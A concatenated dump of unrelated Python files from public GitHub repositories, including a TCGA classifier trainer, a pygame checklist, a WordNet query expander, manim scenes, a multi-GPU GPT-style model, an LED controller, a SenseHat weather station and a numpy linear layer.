numpy as np\nimport shutil\nimport tqdm\nfrom dataloader import *\nfrom utils import *\nfrom model import *\nimport seaborn as sn\n\"\"\"\nThis code is for TRAIN model on TCGA data\n- ARGS: seed, epochs, INDEX of TCGA data\n-- INDEX 0: Methyl\n-- INDEX 1: RNAseq\n-- INDEX 2: miRNA\n\"\"\"\ndef main(seed, epochs, idx):\n\n seed = 7\n #epochs = 2000\n #idx = 2\n\n dirc = 'TCGA_Processed'\n data = TCGADataset(dirc)\n print(data.keys)\n\n omic = data.inputs[idx]\n print('--Training: {:8}'.format(data.keys[idx]))\n x_train, x_test, y_train, y_test = data._split_train_test(omic, test_size = 0.4, seed = seed)\n _data = [x_train, x_test, y_train, y_test]\n _name = ['x_train', 'x_test', 'y_train', 'y_test']\n\n \"\"\"\n # Save folds\n for i, d in enumerate(_data):\n pd.DataFrame(d).to_csv(_name[i]+'.csv',index = False)\n \"\"\"\n x_train = torch.tensor(x_train.to_numpy())\n y_train = torch.tensor(y_train)\n\n x_test = torch.tensor(x_test.to_numpy())\n y_test = torch.tensor(y_test)\n\n #print('Train Data: {}'.format(x_train.size()))\n #print('Test Data: {}'.format(x_test.size()))\n if idx == 2:\n in_dim = 517\n else: in_dim = 19416\n model = MOSANet(in_dim = in_dim, num_classes = 16).cuda()\n count_parameters(model)\n criterion = nn.CrossEntropyLoss()\n optimizer = torch.optim.AdamW(model.parameters(), lr = 1e-4)\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, float(epochs))\n\n for epoch in tqdm.tqdm(range(epochs)):\n train_loss, train_acc, train_report = train(x_train, y_train, model, criterion, optimizer, scheduler, epoch)\n test_loss, test_acc, test_report = eval(x_test, y_test, model, criterion, epoch)\n #print('Epoch: {:6d}|TRAIN|LR: {:4f}|Loss: {:6f}|Accuracy: {:6f}'.format(epoch, scheduler.get_last_lr()[0], train_loss, train_acc))\n #print('Epoch: {:6d}|TEST |LR: {:4f}|Loss: {:6f}|Accuracy: {:6f}'.format(epoch, scheduler.get_last_lr()[0], test_loss, test_acc))\n\n print('---Train Acc: {:8f}'.format(train_acc))\n print('---Test Acc: {:8f}'.format(test_acc))\n df_cm = pd.DataFrame(test_report)\n plt.figure(figsize = (10,7))\n sn.heatmap(df_cm, annot=True)\n #plt.show()\n\n\ndef train(sample, target, model, criterion, optimizer, scheduler, epoch):\n model.train()\n running_loss = 0\n n = 0\n y_true = []\n y_pred = []\n model.zero_grad()\n optimizer.zero_grad()\n sample = sample.cuda()\n target = target.cuda()\n logits = model(sample)\n loss = criterion(logits, target)\n logits = torch.argmax(logits,dim=1)\n #print(target)\n #print(logits)\n loss.backward()\n optimizer.step()\n scheduler.step()\n running_loss += loss.item()\n n += target.size(0)\n y_true.append(target.detach().cpu().numpy())\n y_pred.append(logits.detach().cpu().numpy())\n y_true = np.hstack(y_true)\n y_pred = np.hstack(y_pred)\n df = pd.DataFrame([])\n df['y_true'] = y_true.astype('int')\n df['y_pred'] = y_pred#.astype('int')\n accuracy = accuracy_score(df['y_true'], df['y_pred'])\n report = classification_report(df['y_true'], df['y_pred'])\n try:\n os.mkdir('./results')\n except:\n pass\n #df.to_csv(os.path.join('./results', 'result_{}.csv'.format(epoch)), index = False, sep = '\\t')\n return running_loss/n, accuracy, report\n\ndef eval(sample, target, model, criterion, epoch):\n model.eval()\n #running_loss = 0\n n = 0\n y_true = []\n y_pred = []\n sample = sample.cuda()\n target = target.cuda()\n logits = model(sample)\n loss = criterion(logits, target)\n logits = torch.argmax(logits,dim=1)\n #running_loss += loss.item()\n loss = loss.detach().cpu().numpy()\n n += target.size(0)\n y_true.append(target.detach().cpu().numpy())\n y_pred.append(logits.detach().cpu().numpy())\n y_true = np.hstack(y_true)\n y_pred = np.hstack(y_pred)\n df = pd.DataFrame([])\n df['y_true'] = y_true.astype('int')\n df['y_pred'] = y_pred#.astype('int')\n accuracy = accuracy_score(df['y_true'], df['y_pred'])\n #report = classification_report(df['y_true'], df['y_pred'])\n report = confusion_matrix(df['y_true'], df['y_pred'], normalize='true')\n try:\n os.mkdir('./results')\n except:\n pass\n df.to_csv(os.path.join('./results', 'result_{}.csv'.format(epoch)), index = False, sep = '\\t')\n return loss/n, accuracy, report\n","repo_name":"namnguyen0510/MOFFITT_TCGA","sub_path":"preprocessing/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36111599114","text":"import sys\nimport pygame\nfrom pygame.locals import QUIT\n\nWINDOW_WIDTH = 800\nWINDOW_HEIGHT = 600\nWHITE = (255, 255, 255)\nIMAGEWIDTH = 300\nIMAGEHEIGHT = 200\nFPS = 60\nstep_list=[\"Check MTBF SW version and download\",\"Flash MTBF devices\",\n\"Power on and check flashed device SW\",\"Check Sdcard format\",\"Reboot test system before test start\",\n\"Check system disk space wheter enough, if not, please free it\",\"Check network connection\",\n\"Check use right scripts\", \"Check config file settings caselist\",\"Check config file settings simcard\",\n\"Check config file settings languagepack\",\"Check config file settings sw version\",\n\"Check referphone connection\",\"check simcard enough money\",\"Check some manual precondition done\",\n\"Check simcard contact removed\",\"Check all sms message deleted\",\"Check port set correctly for Bsim ,Chanel server & armlog\",\n\"Check earpiece and simcard correctly installed\",\"Check each test run results update and PR rate after starting\",\n\"hourly report setup on jenkins\"]\n\ndef main():\n pygame.init()\n window_surface = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT))\n pygame.display.set_caption('MTBF checklist')\n head_font = pygame.font.SysFont(None, 30)\n steps = 0\n while True:\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n steps = steps +1\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n steps = steps -1\n elif event.key == pygame.K_DOWN:\n steps = steps +1 \n elif event.type == QUIT:\n pygame.quit()\n sys.exit()\n window_surface.fill((129, 216, 208))\n check_item = step_list[steps]\n title_surface = head_font.render('MTBF Check List', True, (0,0,0))\n text_surface = head_font.render(check_item, True, (255, 255, 255))\n window_surface.blit(title_surface, (10, 10))\n window_surface.blit(text_surface, (50, 50))\n pygame.display.update()\n \nif __name__ == '__main__': \n main()\n","repo_name":"queenie0708/pygame","sub_path":"checklist.py","file_name":"checklist.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33754325216","text":"# We have referred https://pythonprogramming.net/wordnet-nltk-tutorial/ for this task\n\nimport string\nimport nltk\nnltk.download('stopwords')\nnltk.download('punkt')\nnltk.download('wordnet')\nfrom nltk.corpus import wordnet\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom src.phase1 import Helper\nimport os\n\nadditional_query_terms = 8\n\nh = Helper.Helper()\nqueries = list(h.get_queries().values())\n\nnewpath = \"Query Expansion/\"\nif not os.path.exists(newpath):\n os.makedirs(newpath)\n\nfout = open(newpath + \"query_expanded_thesaurus.txt\", \"w\", encoding=\"utf-8\")\nstop_words = set(stopwords.words(\"english\"))\n\ni = 1\n\nfor query in queries:\n query = query.lower()\n query = query.translate(str.maketrans('', '', string.punctuation))\n query_tokens = word_tokenize(query)\n filtered_query = [w for w in query_tokens if w not in stop_words]\n\n synonyms = []\n count = 0\n for word in filtered_query:\n for syn in wordnet.synsets(word):\n for lemma in syn.lemmas():\n # choose only 3 unique lemmas to get three synonyms for every term\n if count < 3:\n if lemma.name() not in synonyms:\n synonyms.append(lemma.name())\n count += 1\n\n count = 0\n\n expanded_query = ' '.join(synonyms[:additional_query_terms] + filtered_query)\n fout.write(str(i) + \" \" + expanded_query + '\\n')\n i += 1\n\nfout.close()\n\n","repo_name":"doshi-jay/Information-Retrieval-Search-Engine","sub_path":"src/phase1/task2/query_expansion_using_thesaurus.py","file_name":"query_expansion_using_thesaurus.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"74474815132","text":"from manim import *\n\n# class MovingFrame(Scene):\n# def construct(self):\n# equation = MathTex(\"ax^3\", \"+bx^2\", \"+cx+d\", \"=\\ 0\", font_size=96)\n\n# equation.set_color(BLACK)\n\n# self.play(Write(equation))\n# self.wait()\n\n# class MovingFrame2(Scene):\n# def construct(self):\n# equation = MathTex(r\"&1.\\ ax^2 = bx &2.\\ ax^2 = c \\\\ &3.\\ ax = c &4.\\ ax^2+bx = c \\\\ &5.\\ ax^2+c = bx &6.\\ bx+c = ax^2\", font_size=60)\n\n# equation.set_color(BLACK)\n\n# self.play(Write(equation)) \n# self.wait(3)\n\n# class MovingFrame3(Scene):\n# def construct(self):\n# equation0 = MathTex(r\"&1.\\ x^3=c \\\\ &4.\\ x^3+ax^2=bx \\\\ &7.\\ x^3+bx=c \\\\ &10.\\ x^3+ax^2=c \\\\ &13.\\ x^3+ax^2+bx=c \\\\ &16.\\ x^3=ax^2+bx+c \\\\ &19.\\ x^3+c=ax^2+bx\")\n\n# equation0.set_color(BLACK)\n\n# self.play(Write(equation0)) \n# self.wait(3)\n\n# class MovingFrame4(Scene):\n# def construct(self):\n# equation1 = MathTex(r\"&2.\\ x^3=bx \\\\ &5.\\ x^3+bx=ax^2 \\\\ &8.\\ x^3+c=bx \\\\ &11.\\ x^3+c=ax^2 \\\\ &14.\\ x^3+ax^2+c=bx \\\\ &17.\\ x^3+ax^2=bx+c\")\n\n# equation1.set_color(BLACK)\n\n# self.wait(1)\n# self.play(Write(equation1)) \n# self.wait(2)\n\n# class MovingFrame5(Scene):\n# def construct(self):\n# equation2 = MathTex(r\"&3.\\ x^3=ax^2\\\\ &6.\\ x^3=ax^2+bx \\\\ &9.\\ x^3=bx+c \\\\ &12.\\ x^3=ax^2+c \\\\ &15.\\ x^3+bx+c=ax^2 \\\\ &18.\\ x^3+bx=ax^2+c\")\n\n# equation2.set_color(BLACK)\n\n# self.wait(2)\n# self.play(Write(equation2)) \n# self.wait(1)\n\nclass MovingFrame6(Scene):\n def construct(self):\n equation = MathTex(\"ax^3\", \"+bx^2\", \"+cx+d\", \"=\\ 0\", font_size=96)\n equation.save_state()\n equation1 = MathTex(\"ax^3\", \"+cx+d\", \"=\\ 0\", font_size=96)\n \n equation.set_color(BLACK)\n equation1.set_color(BLACK)\n\n self.play(Write(equation))\n self.play(FadeOut(equation))\n self.play(FadeIn(equation1))\n self.play(FadeOut(equation1))\n\n self.wait()","repo_name":"vmr48-ua/fisicaua","sub_path":"tercero/complejo/presentacion/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"36947782840","text":"import numpy as np\nimport torch\nimport os\n\n# from transformers import GPT2TokenizerFast\nfrom datasets import load_dataset\n\nfrom transformers import BertTokenizerFast\ntokenizer = BertTokenizerFast.from_pretrained('bert-base-uncased',\n sos_token='[SOS]',\n eos_token='[EOS]',\n pad_token='[PAD]')\nprint(tokenizer.vocab_size)\nprint(tokenizer.pad_token)\n\nPAD_TOKEN = '[PAD]'\nSOS_TOKEN = '[SOS]'\nEOS_TOKEN = '[EOS]'\nSOS_TOKEN_ID = tokenizer.convert_tokens_to_ids(SOS_TOKEN)\n\ndef tokenize_sentence(sentence, max_length=None):\n if max_length:\n return tokenizer(sentence, return_tensors='pt', padding='max_length', max_length=max_length, truncation=True).input_ids\n else:\n return tokenizer(sentence, return_tensors='pt').input_ids\n\nclass PositionwiseFeedForwardLayer(torch.nn.Module):\n def __init__(self, d_model: int, dropout: float):\n super().__init__()\n\n self.linear1 = torch.nn.Linear(d_model, 4 * d_model)\n self.linear2 = torch.nn.Linear(4 * d_model, d_model)\n self.relu = torch.nn.ReLU()\n self.dropout = torch.nn.Dropout(dropout)\n\n def forward(self, x):\n x = self.relu(self.linear1(x))\n x = self.dropout(self.linear2(x))\n\n # x shape == output shape\n return x\n\nclass Head(torch.nn.Module):\n def __init__(self, d_model: int, d_head: int, dropout: float):\n super().__init__()\n\n assert d_model % d_head == 0\n d_tensor = d_model // d_head\n self.d_tensor = d_tensor\n\n self.key = torch.nn.Linear(d_model, d_head)\n self.query = torch.nn.Linear(d_model, d_head)\n self.value = torch.nn.Linear(d_model, d_head)\n\n self.dropout = torch.nn.Dropout(dropout)\n \n def forward(self, q, k, v):\n\n # q, k, v = (batch_size, seq_len, d_model)\n\n q, k = self.query(k), self.key(q)\n\n\n # q, k = (batch_size, seq_len, d_tensor)\n # kT = (batch_size, d_tensor, seq_len)\n\n\n wei = q @ k.transpose(-2, -1) * (self.d_tensor ** (-0.5)) # q*kT/sqrt(d_k) from paper \"Attention is All You Need\"\n\n\n\n # wei = (batch_size, seq_len, seq_len)\n \n wei = torch.nn.functional.softmax(wei, dim=-1)\n v = self.value(v)\n\n\n\n # wei = (batch_size, seq_len, seq_len)\n # v = (batch_size, seq_len, d_tensor)\n\n out = wei @ v\n\n\n\n # out = (batch_size, seq_len, d_tensor): d_tensor * n_heads = d_model\n\n return out\n\nclass MultiHeadAttention(torch.nn.Module):\n def __init__(self, d_model: int, n_heads: int, d_head: int, dropout: float, num_gpus: int):\n super().__init__()\n\n assert d_model % d_head == 0\n assert n_heads % num_gpus == 0\n d_tensor = d_model // d_head\n self.d_tensor = d_tensor\n\n self.heads = torch.nn.ModuleList([\n Head(d_model=d_model, d_head=d_head, dropout=dropout) for _ in range(n_heads)\n ])\n self.linear = torch.nn.Linear(n_heads * d_tensor, d_model) # n_heads * d_tensor == d_model\n self.dropout = torch.nn.Dropout(dropout)\n \n def forward(self, q, k, v):\n\n out = torch.cat([\n head(q, k, v) for head in self.heads\n ], dim=-1)\n \n\n\n return out\n\nclass LayerNorm(torch.nn.Module):\n def __init__(self, d_model: int, eps=1e-12):\n super().__init__()\n\n self.gamma = torch.nn.Parameter(torch.ones(d_model))\n self.beta = torch.nn.Parameter(torch.zeros(d_model))\n self.eps = eps\n \n def forward(self, x):\n mean = x.mean(-1, keepdim=True)\n var = x. var(-1, unbiased=False, keepdim=True)\n\n out = (x - mean) * ((var + self.eps) ** (-0.5))\n out = self.gamma * out + self.beta\n\n return out\n\nclass DecoderLayer(torch.nn.Module):\n def __init__(self, d_model: int, n_heads: int, d_head: int, dropout: float, device_num: int):\n super().__init__()\n\n self.device_num = device_num\n self.attention_layernorm = LayerNorm(d_model)\n self.feedforward_layernorm = LayerNorm(d_model)\n\n self.self_attention = MultiHeadAttention(d_model=d_model, n_heads=n_heads, d_head=d_head, dropout=dropout, num_gpus=4)\n self.positionwise_feedforward = PositionwiseFeedForwardLayer(d_model=d_model, dropout=dropout)\n self.dropout = torch.nn.Dropout(dropout)\n\n def forward(self, trg):\n\n # trg = (batch_size, seq_len, d_model)\n # trg_mask = (batch_size, seq_len)\n\n trg = trg.to(device[self.device_num])\n \n # self attention with dropout\n _trg = self.dropout(self.self_attention(trg, trg, trg))\n\n # _trg = (batch_size, seq_len, d_model) == trg\n # add & norm with residual connection\n\n trg = self.attention_layernorm(trg + _trg)\n\n\n # trg = (batch_size, seq_len, d_model)\n # positionwise feedforward layer\n _trg = self.dropout(self.positionwise_feedforward(trg))\n trg = self.feedforward_layernorm(_trg + trg)\n\n # trg = (batch_size, seq_len, d_model)\n return trg\n\nclass Decoder(torch.nn.Module):\n def __init__(self, vocab_size: int, d_model: int, n_layers: int, n_heads: int, d_head: int, max_length: int, dropout: float, num_gpus: int):\n super().__init__()\n\n # positional encoding\n self.token_embedding = torch.nn.Embedding(vocab_size, d_model).to(device[0])\n self.position_embedding = torch.nn.Embedding(max_length, d_model).to(device[0])\n\n self.n_layers = n_layers\n self.per_gpu = n_layers // num_gpus # 3\n print(f\"{self.per_gpu} decoder layers per gpu, with {num_gpus} gpus\")\n self.layers = torch.nn.ModuleList([\n *[DecoderLayer(d_model=d_model, n_heads=n_heads, d_head=d_head, dropout=dropout, device_num=0).to(device[0]) for _ in range(self.per_gpu)],\n *[DecoderLayer(d_model=d_model, n_heads=n_heads, d_head=d_head, dropout=dropout, device_num=1).to(device[1]) for _ in range(self.per_gpu)],\n *[DecoderLayer(d_model=d_model, n_heads=n_heads, d_head=d_head, dropout=dropout, device_num=2).to(device[2]) for _ in range(self.per_gpu)],\n *[DecoderLayer(d_model=d_model, n_heads=n_heads, d_head=d_head, dropout=dropout, device_num=3).to(device[3]) for _ in range(self.per_gpu)],\n ])\n\n self.fc_out = torch.nn.Linear(d_model, vocab_size).to(device[3])\n self.dropout = torch.nn.Dropout(dropout).to(device[0])\n \n def forward(self, trg):\n \n # trg = (batch_size, seq_len)\n # trg_mask = (batch_size, seq_len)\n\n batch_size, seq_len = trg.shape\n\n pos = torch.arange(0, seq_len).unsqueeze(0).repeat(batch_size, 1).to(device[0])\n trg = self.dropout((self.token_embedding(trg) + self.position_embedding(pos)))\n\n # trg = (batch_size, seq_len, d_model)\n\n # Decoder layers\n\n\n for layer in self.layers:\n\n trg = layer(trg)\n\n \n # trg = (batch_size, seq_len, d_model)\n\n output = self.fc_out(trg)\n\n # output = (batch_size, seq_len, vocab_size)\n\n return output\n\nclass GPTModel(torch.nn.Module):\n def __init__(self, vocab_size: int, d_model: int, n_layers: int, n_heads: int, d_head: int, max_length: int, dropout: float, tokenizer, num_gpus: int=4):\n super().__init__()\n\n self.tokenizer = tokenizer\n self.decoder = Decoder(vocab_size=vocab_size, d_model=d_model, n_layers=n_layers, n_heads=n_heads, d_head=d_head, max_length=max_length, dropout=dropout, num_gpus=num_gpus)\n \n\n def forward(self, sentence: str):\n '''\n This is used for the inference for the next word prediction for each batch, each word.\n '''\n \n # trg = (batch_size, seq_len)\n # trg_mask = (batch_size, seq_len)\n\n trg = self.tokenizer(sentence, return_tensors='pt').input_ids.to(device[0])\n output = self.decoder(trg)\n\n # output = (batch_size, seq_len, vocab_size)\n\n return output\n \n def next_word_prediction(self, sentence):\n '''\n This is used for the inference for the next word prediction for each batch using my decoder\n '''\n with torch.no_grad():\n # trg = (batch_size, seq_len)\n # trg_mask = (batch_size, seq_len)\n trg = self.tokenizer(sentence, return_tensors='pt').input_ids.to(device[0])\n trg = trg.to(device[0])\n out = torch.argmax(self.decoder(trg)[:, -1, :], dim=-1)\n\n output = []\n for item in out:\n output.append(self.tokenizer.decode(item))\n\n # output = (batch_size, vocab_size) (next word prediction)\n\n return output\n\n def generate(self, sentence, max_length=20):\n '''\n This is used for making the prediction over and over again until the end token is predicted.\n (or reached max_length)\n '''\n with torch.no_grad():\n trg = self.tokenizer(sentence, return_tensors='pt').input_ids.to(device[0])\n\n for _ in range(max_length):\n trg = trg.to(device[0])\n out = torch.argmax(self.decoder(trg)[:, -1, :], dim=-1).to(device[0])\n trg = torch.cat((trg, out.unsqueeze(1)), dim=1)\n if out == EOS_TOKEN_ID:\n break\n \n return self.tokenizer.decode(trg[0])\n\n def train(self, full_sentence: list, loss_fn, optimizer, max_length=20):\n '''\n With given sentence, it will generate the next word prediction and backpropagate the loss.\n '''\n \n longest = 0\n for i in range(len(full_sentence)):\n full_sentence[i] = np.concatenate(\n ([SOS_TOKEN_ID], tokenizer(full_sentence[i]).input_ids, [EOS_TOKEN_ID]), axis=-1,\n )\n longest = full_sentence[i].shape[0] if full_sentence[i].shape[0] > longest else longest\n full_sentence[i] = np.expand_dims(full_sentence[i], axis=0)\n\n batched = torch.tensor(\n [token_full[0][i:i+max_length] for i in range(0, len(token_full[0])-max_length)]\n ).to(device[0])\n answer = torch.tensor(\n [token_full[0][i:i+max_length] for i in range(1, len(token_full[0])-max_length+1)]\n ).to(device[-1])\n\n self.decoder.zero_grad()\n optimizer.zero_grad()\n\n output = self.decoder(batched)\n loss = loss_fn(output.view(-1, output.shape[-1]), answer.view(-1))\n\n loss.backward()\n optimizer.step()\n\n ret = loss.item()\n\n del token_full, batched, answer, output, loss\n torch.cuda.empty_cache()\n\n return ret\n\n# hyperparameters\n\n# model hyperparameters (from GPT3 XL)\nn_layers = 24\nd_model = 2048\nn_heads = 32\nd_tensor = d_model // n_heads # => 64\nd_head = 64\nmax_length = 128\n\nvocab_size = tokenizer.vocab_size + 3 # +3 for , , \ndropout = 0.1\nbatch_size = 64\nlearning_rate = 2e-5\nnum_epochs = 5\n\n# print(f\"vocab_size = {vocab_size}\")\n# print(f\"d_tensor = {d_tensor}\")\n# print(f\"d_model = {d_model}\")\n# print(f\"d_tensor * n_heads = {d_tensor * n_heads}\")\n\nmodel = GPTModel(vocab_size=vocab_size, d_model=d_model, n_layers=n_layers,\n n_heads=n_heads, d_head=d_head, max_length=max_length,\n dropout=dropout, tokenizer=tokenizer)\n\nprint(f\"parameters: {sum(p.numel() for p in model.parameters() if p.requires_grad):_}\")\n","repo_name":"seung7361/SeungGPTModel","sub_path":"trainmy.py","file_name":"trainmy.py","file_ext":"py","file_size_in_byte":11415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9373459105","text":"import logging\n\n\ndef get_logger():\n logger = logging.getLogger(\"ddns_server\")\n logger.setLevel(logging.INFO)\n\n log_file = logging.FileHandler(\"log.log\")\n log_file.setLevel(logging.INFO)\n\n log_stream = logging.StreamHandler()\n log_stream.setLevel(logging.INFO)\n\n formatter = logging.Formatter(\"[%(asctime)s] %(levelname)s : %(message)s\")\n log_file.setFormatter(formatter)\n log_stream.setFormatter(formatter)\n logger.addHandler(log_file)\n logger.addHandler(log_stream)\n\n return logger\n","repo_name":"LostMoonkin/dnspod_ddns","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"2839634631","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport time, sys, inspect, ast\nimport RPi.GPIO as GPIO\n\n# Import the WS2801 module.\nimport Adafruit_WS2801\nimport Adafruit_GPIO.SPI as SPI\n\n# Configure the count of pixels:\nPIXEL_COUNT = 32\n\n# other settings\nSPI_PORT = 0\nSPI_DEVICE = 0\n\npixels = Adafruit_WS2801.WS2801Pixels(PIXEL_COUNT, spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE), gpio=GPIO)\n\n\n################################################################################\n# DEFINE YOUR FUNCTIONS HERE\n################################################################################\n\ndef set_rgb_color(pxels, r=255, g=255, b=255):\n # cast from string to int\n r, g, b = int(float(r)), int(float(g)), int(float(b))\n pxels.set_pixels(Adafruit_WS2801.RGB_to_color(r, g, b))\n pxels.show()\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 4:\n sys.exit(1)\n\n cmdargs = sys.argv[1:]\n set_rgb_color(pixels, cmdargs[0], cmdargs[1], cmdargs[2])\n","repo_name":"leonhardsydow/lamp-script","sub_path":"turn_on.py","file_name":"turn_on.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27282658569","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nWetterstation mit der SenseHat-Erweiterung.\n\n@author: Christian Wichmann\n@license: GNU GPL\n\"\"\"\n\nimport time\nimport json\nimport requests\nfrom datetime import datetime\n\nfrom sense_hat import SenseHat\n\n\n# setze alle notwendigen Konstanten\nTIMEOUT_DISPLAY = 5\nSPEED = 0.07\nWEATHER_MAPPING = {\n 'Mist': 'Nebel',\n 'Rain': 'Regen',\n 'Drizzle': 'Nieselregen',\n 'Thunderstorm': 'Sturm',\n 'Snow': 'Schnee',\n 'Clear': 'Klar',\n 'Clouds': 'Wolken'\n}\nTEMP_COLOR = [0,0,255]\nHUMIDITY_COLOR = [0,255,0]\n\n\n# initialisiere SenseHat-Erweiterung\nsense = SenseHat()\nsense.low_light = True\n\n\ndef get_location():\n \"\"\"Ermittelt die Stadt zur eigenen IP-Adresse.\"\"\"\n url = \"https://ipinfo.io/\"\n try:\n r = requests.get(url)\n except:\n print(\"error while querying info...\")\n data = json.loads(r.text)\n return data['city']\n\n\ndef get_weather(city):\n \"\"\"Fragt das aktuelle Wetter bei openweathermap.org ab und gibt Temperatur,\n Luftfeuchtigkeit, Windgeschwindigkeit und die Zeiten von Sonnenaufgang und\n Sonnenuntergang zurück.\"\"\"\n url = 'http://api.openweathermap.org/data/2.5/weather?q={}&APPID={}'\n app_id = '' # <- insert API key for openweathermap.org\n r = requests.get(url.format(city, app_id))\n data = json.loads(r.text)\n weather = data['weather'][0]['main']\n temp = data['main']['temp'] - 273.15\n humidity = data['main']['humidity']\n wind_speed = data['wind']['speed']\n sunrise = datetime.fromtimestamp(data['sys']['sunrise'])\n sunset = datetime.fromtimestamp(data['sys']['sunset'])\n return weather, temp, humidity, wind_speed, sunrise, sunset\n\n\ndef show_weather_info():\n \"\"\"Gibt die aktuellen Wetterwerte über die SenseHat-Erweiterung aus.\"\"\"\n # hole Wetter für aktuellen Standort\n weather, temp, humidity, wind_speed, sunrise, sunset = get_weather(get_location())\n # lese Werte aus SenseHat-Erweiterung aus\n temp_interior = sense.get_temperature() # sense.get_temperature_from_humidity()\n temp_interior_alt = sense.get_temperature_from_pressure()\n pressure_interior = sense.get_pressure()\n humidity_interior = sense.get_humidity()\n # gib aktuelle Werte aus\n sense.show_message(\"Innentemperatur: {:.1f}\".format(temp_interior),\n scroll_speed=SPEED, text_colour=TEMP_COLOR)\n sense.show_message(\"Luftfeuchte (innen): {:.1f} %\".format(humidity_interior),\n scroll_speed=SPEED, text_colour=HUMIDITY_COLOR)\n sense.show_message(\"Aussentemperatur: {:.1f}\".format(temp),\n scroll_speed=SPEED, text_colour=TEMP_COLOR)\n sense.show_message(\"Luftfeuchte (aussen): {:.1f} %\".format(humidity),\n scroll_speed=SPEED, text_colour=HUMIDITY_COLOR)\n sense.show_message(\"Wetter: {}\".format(WEATHER_MAPPING[weather]),\n scroll_speed=SPEED)\n sense.show_message(\"Windgeschwindigkeit: {} m/s\".format(wind_speed),\n scroll_speed=SPEED)\n sense.show_message(\"Sonnenaufgang: {}\".format(sunrise.strftime('%H:%M:%S')),\n scroll_speed=SPEED)\n sense.show_message(\"Sonnenuntergang: {}\".format(sunset.strftime('%H:%M:%S')),\n scroll_speed=SPEED)\n\n\nif __name__ == '__main__':\n try:\n while True: \n show_weather_info()\n # überprüfe, ob das Steuerkreuz nach unten gedrückt wurde\n for event in sense.stick.get_events():\n if 'down' in event.direction:\n exit()\n time.sleep(TIMEOUT_DISPLAY)\n except KeyboardInterrupt:\n sense.clear()\n print('Tschüß!')\n","repo_name":"wichmann/PythonExamples","sub_path":"sense-hat/weatherstation.py","file_name":"weatherstation.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"de","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"22098999065","text":"import numpy as np\n\nclass Linear():\n def __init__(self, layer_size, activation, dropout=0.9):\n \"\"\"\n Initialize a fully-connected layer defined by an affine transformation W\n\n Parameters:\n - layer_size (tuple (# inputs, # outputs)): Number of inputs and outputs of this layer\n - activation (class): Activation object to be used for this particular layer\n - dropout (float): Dropoout proportion for this layer\n \"\"\"\n\n # Number of inputs and outputs\n n_inputs = layer_size[0]\n n_outputs = layer_size[1]\n\n self.n_inputs = n_inputs\n self.n_outputs = n_outputs\n self.n_weights = (n_inputs + 1) * n_outputs\n\n # Weight matrix w/ He initialization\n # Weight vectors are the cols of the matrix, and the output will be of form XW for input X\n self.W = np.random.randn(n_inputs, n_outputs) * np.sqrt(2./n_inputs)\n\n # Bias vector. Row vector since it will be added to observations, which are rows\n self.b = np.zeros((1, self.n_outputs))\n\n # Activation\n self.activation = activation\n\n # Dropout\n self.dropout = dropout\n\n\n def forward(self, X):\n \"\"\"\n Forward propagates the layer\n\n Parameters:\n - X ((n, m) matrix): Matrix of inputs with rows being observations. n observations, m features\n\n Returns:\n - A ((n, p) matrix): Output matrix of n rows and p cols, each representing the resulting output of that rows forward propagation\n \"\"\"\n if X.shape[1] != (self.n_inputs):\n raise ValueError(f\"Invalid layer input dimensions.\")\n \n # Store X for backprop\n self.X = X\n\n # Forward Propagate, store the results for use later\n self.Z = (X @ self.W) + self.b\n self.A = self.activation.forward(self.Z)\n\n # Apply dropout\n d = np.random.binomial(1, self.dropout, self.n_outputs).T\n self.A = self.A * d / self.dropout\n\n return self.A\n\n\n def backward(self, grad):\n grad_bwa = [] # Three gradients: wrt b, W, A, respectively\n\n # Get the gradient PRE activation, dC/dZ\n # This also happens to be the gradient wrt the bias \n grad = self.activation.backward(grad, self.Z, self.A)\n grad_b = grad\n grad_bwa.append(grad_b)\n\n # Get gradient of C wrt W\n grad_W = self.X.T @ grad\n grad_bwa.append(grad_W)\n\n # Get gradient of C wrt A\n grad_A = np.sum((self.W @ grad.T), axis=0)\n grad_bwa.append(grad_A) \n\n return grad_bwa\n \n\n def update(self, db, dW, lr):\n \"\"\"\n Update the weights and biases of the layer.\n\n Parameters:\n - db (vector): Gradient vector of outputs wrt biases\n - dW (matrix): Jacobian matrix of outputs wrt weights\n \"\"\"\n self.b = self.b - (lr * db)\n self.W = self.W - (lr * dW)\n \n\n def __str__(self):\n \"\"\"\n Converts to a string of format \"Fully Connected Layer: (n inputs, m outputs) -> Activation Function\n \"\"\"\n return str.format(\"Fully Connected Layer: (%d inputs, %d outputs) -> %s\" % (self.n_inputs, self.n_outputs, self.activation))","repo_name":"alexkato29/DeepLearning","sub_path":"Layers/Linear.py","file_name":"Linear.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72357730012","text":"from django.urls import path\nfrom .views import home_view, login_view, confirm_order, 